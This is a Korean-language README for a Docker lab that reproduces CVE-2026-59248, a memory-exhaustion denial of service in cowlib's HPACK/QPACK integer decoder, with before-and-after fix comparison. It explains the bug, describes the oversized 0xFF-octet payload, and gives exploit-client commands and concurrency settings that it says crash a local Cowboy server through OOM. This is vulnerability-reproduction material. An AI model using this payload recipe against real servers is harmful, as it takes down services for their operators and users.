
CVE-2026-59248에 대한 재현 가능한 Docker 실습 환경: cowlib의 HPACK/QPACK 정수 디코더 메모리 고갈 DoS로, 익스플로잇 클라이언트, Cowboy 서버, Grafana 메트릭을 포함합니다.
ninenines cowlib(≥ 2.0.0, < 2.19.0)의 자원 제한 취약점으로 인해 인증되지 않은 원격 HTTP/2 또는 HTTP/3 피어가 취약한 서버(또는 클라이언트)의 메모리를 고갈시키고 서비스 거부를 유발할 수 있습니다.
HPACK 및 QPACK 접두사 정수 디코더인 cow_hpack_common:dec_big_int/3(src/cow_hpack_common.hrl, cow_hpack:decode/2 및 cow_qpack:decode_field_section/3에서 호출됨)는 상위 비트가 0인 옥텟을 찾을 때까지 연속 옥텟을 읽으며, 각 단계에서 Int + (Value bsl M)을 평가하는데 이때 시프트 M은 옥텟당 7씩 증가합니다. 연속 옥텟의 수, 결과 비트 폭, 또는 값에 대한 제한이 없습니다 — 디코더는 피어가 제공하는 인코딩된 길이를 그대로 소비합니다. Erlang 정수는 불변이므로, 모든 중간 Value bsl M과 모든 누산기 갱신은 지금까지 처리된 옥텟 수에 비례하여 자릿수 폭이 선형으로 증가하는 새로운 bignum을 할당합니다. 전체 디코드에 걸쳐 합산하면 일시적 할당량은 인코딩된 길이에 대해 **O(n²)**입니다.
Cowboy의 기본 max_frame_size_received 범위 내에서 하나의 HTTP/2 HEADERS + CONTINUATION 프레임 쌍으로 전달되는 단일 최대 크기 HPACK 인덱스 표현은 결과 헤더 테이블 인덱스가 유효하지 않다고 거부되기 전에 수백 메가바이트의 일시적 할당과 가비지 컬렉션 부하를 유발할 수 있습니다. 반복되거나 동시적인 연결은 압박을 배가시키고 Erlang VM을 메모리 고갈로 몰아갈 수 있습니다.
Cowlib는 Cowboy, RabbitMQ의 관리 플러그인, 그리고 기타 Erlang/Elixir HTTP/2 및 HTTP/3 서버와 클라이언트가 사용하는 HTTP 파서이므로, 신뢰할 수 없는 피어로부터 HPACK 또는 QPACK을 수용하는 노출된 엔드포인트라면 모두 도달 가능합니다.
수정: cowlib 2.19.0은 dec_big_int/3에 when M < 32 가드를 추가하여 몇 개의 옥텟 후에 과대한 정수를 거부합니다.
이 실습 환경은 실제 Cowboy 서버를 대상으로 공격(preface → SETTINGS → HEADERS → CONTINUATION과 과대한 0xFF… HPACK 정수)을 재생하고, 패치 적용 전후의 BEAM 메모리 급증을 Prometheus/Grafana에서 캡처합니다.
exploit-client ──HTTP/2 (h2c)──▶ cowboy-server (cowboy 2.17.0 / cowlib 2.18.0, :8080)
│ /metrics (same listener)
▼
prometheus (:9090) ──scrape 2s──▶ grafana (:3000)
Cowboy는 정확한 cowlib 버전을 고정합니다: cowboy 2.17.0은 취약한
cowlib 2.18.0을 포함합니다 (cowboy 2.18.0은 수정된 cowlib 2.19.0을 번들로 제공합니다). 이 랩은
override: true로 cowlib를 강제하여 취약점→수정 시연이
server/mix.exs에서 한 줄 변경이 되도록 합니다.
| 서비스 | URL |
|---|---|
| Cowboy 서버 | http://localhost:8080/ (HTTP/1.1 + HTTP/2 h2c) |
| 서버 /metrics | http://localhost:8080/metrics |
| Prometheus | http://localhost:9090/targets |
| Grafana | http://localhost:3000 (admin / admin) |
Grafana 대시보드 **"cowlib 2.18.0 HPACK memory DoS"**는 자동 프로비저닝됩니다 (수동 데이터 소스 또는 패널 설정 불필요).
# 1. Build images and start the server + observability stack
docker compose build
docker compose up -d cowboy-server prometheus grafana
# 2. Sanity checks
curl http://localhost:8080/ # -> OK
curl http://localhost:8080/metrics | grep erlang_vm_memory_processes_bytes_total
# 3. Let ~15s of baseline accumulate, then launch the concurrent exploit
# (default: 5 concurrent connections, each with a ~200KB HPACK bomb)
docker compose run --rm exploit-client
# 4. Watch the spike (the server stays up after the attack)
docker stats cowboy-server # live CLI view — memory + CPU
# Grafana: open http://localhost:3000 (admin/admin) — dashboard auto-provisioned.
# Panel 1 "ERLANG VM: Process memory" = BEAM process heaps only (the decoder)
# Panel 2 "ERLANG VM: Total memory" = system + processes allocator memory
# Panel 3 "CONTAINER: cgroup memory" = cowboy_container_memory_{used,peak,limit}
# NOTE: the first two panels only see the BEAM's own accounting, which peaks at
# ~150-200 MiB. `docker stats` shows the whole cgroup (allocator carriers, code,
# binaries, page cache), which reaches ~1 GiB — panel 3 reports that exact
# number, so it tracks `docker stats` one-for-one.
# Observed spike (100 conn × 512KB): processes_used 16 → 153 MiB (9×),
# container memory 87 → 256 MiB.
# To push the server to full OOM denial of service:
docker compose run --rm -e NUM_CONCURRENT=800 exploit-client
# (NUM_CONCURRENT=1500 drives container memory to the 1g limit even faster)
# Server is killed (exit 137) in ~10 seconds; restart with:
docker compose up -d cowboy-server
# If the server has already died, Prometheus simply stops getting scrapes, so
# Grafana's lines end at the crash. Set the dashboard time range to "Last 15
# minutes" to see the recorded climb; the peak is also kept in
# cowboy_container_memory_peak_bytes until the container restarts.
# The exploit service has `profiles: ["attack"]`, so `docker compose up -d`
# never auto-launches the attack.
# 5. Verify the fix: in server/mix.exs change
# {:cowlib, "2.18.0", override: true}
# to
# {:cowlib, "2.19.0", override: true}
# then rebuild and restart just the server (the memory line stays flat):
# docker compose build cowboy-server && docker compose up -d cowboy-server
# docker compose run --rm exploit-client
# 6. Tear down (the -v flag removes volumes, incl. Grafana dashboards)
docker compose down -v
포트: 이 스택은 호스트의
8080(Cowboy),9090(Prometheus),3000(Grafana)을 게시합니다. 시작하기 전에 이 포트들이 비어 있는지 확인하고, 매번docker compose run --rm으로 익스플로잇 클라이언트를 다시 실행하세요 — Compose 서비스는 한 번 실행되고 종료됩니다.
| 변수 | 기본값 | 효과 |
|---|---|---|
PAYLOAD_CONTINUATIONS | 524288 | HPACK 정수 내 0xFF 옥텟의 개수 (512 KB 폭탄; 서버의 max_fragmented_header_block_size는 최대 1 MB까지 허용). |
NUM_CONCURRENT | 100 | 동시 비동기 연결 수 — 각 연결은 ATTACK_KEEPALIVE_SECS 동안 디코딩하며 살아 있습니다. 서버 컨테이너를 확실하게 OOM(1g 초과)시키려면 200+로 늘리세요. |
SOCKET_TIMEOUT | 15 | 각 연결 핸드셰이크에 대한 초 단위 시간 |
ATTACK_KEEPALIVE_SECS | 60 | 전송 후 각 연결이 살아 있는 시간 |
SERVER_HOST / SERVER_PORT | cowboy-server / 8080 | 대상 |
# single connection probe (fast, minimal effect):
docker compose run --rm -e PAYLOAD_CONTINUATIONS=50000 -e NUM_CONCURRENT=1 -e ATTACK_KEEPALIVE_SECS=10 exploit-client
# visible spike, server survives (~60 connections, 512KB each):
docker compose run --rm -e NUM_CONCURRENT=60 -e ATTACK_KEEPALIVE_SECS=25 exploit-client
# full OOM denial of service (800 connections, ~10s to exit 137):
docker compose run --rm -e NUM_CONCURRENT=800 exploit-client
# faster OOM (1500 connections):
docker compose run --rm -e NUM_CONCURRENT=1500 exploit-client
# run directly from the host (any Docker not needed):
SERVER_HOST=localhost python3 client/poc_http2.py
서버의
max_fragmented_header_block_size(1 MiB)보다 큰 페이로드는 디코더에 도달하기 전에 거부되며, 클라이언트는 닫힌 연결에서socket.send() raised exception을 보게 됩니다.PAYLOAD_CONTINUATIONS를 ~1,000,000 이하로 유지하거나server/poc_server.exs의 상한을 (재빌드와 함께) 그에 맞게 올리십시오.
server/poc.exs)poc.exs는 TCP도, 포트 바인딩도 없이 :cow_hpack.decode/2를 직접
실행하므로, 라이브 서버 옆에서 또는 단독으로 실행할 수 있습니다. 이 스크립트는
max_heap_size 상한이 설정된 디코더 프로세스에 0xFF + 0xFF×N + 0x00을
전달하고, 정수가 시프트되는 동안 진행 상황을 로그로 기록합니다.
# rebuild once so the file is baked into the image
docker compose build cowboy-server
# run it (safe while cowboy-server is up — it binds nothing)
docker compose run --rm cowboy-server mix run poc.exs
# or inside the running container:
docker compose exec cowboy-server mix run poc.exs
| 변수 | 기본값 | 효과 |
|---|---|---|
PAYLOAD_CONTINUATIONS | 100000 | 0xFF 옥텟의 개수 |
HEAP_WORDS | 1000000 | 자식 힙 상한(단어 단위, 각 8 B) |
SAMPLE_MS | 50 | 힙/메모리 샘플링 간격 |
LOG_EVERY | 5 | N번째 샘플마다 로그 기록 (1 = 전부) |
TIMEOUT_MS | 30000 | 디코드에 대한 하드 상한 |
VERBOSE | 1 | 0 요약, 1 샘플링, 2 모든 샘플 |
축약된 출력 (cowlib 2.18.0):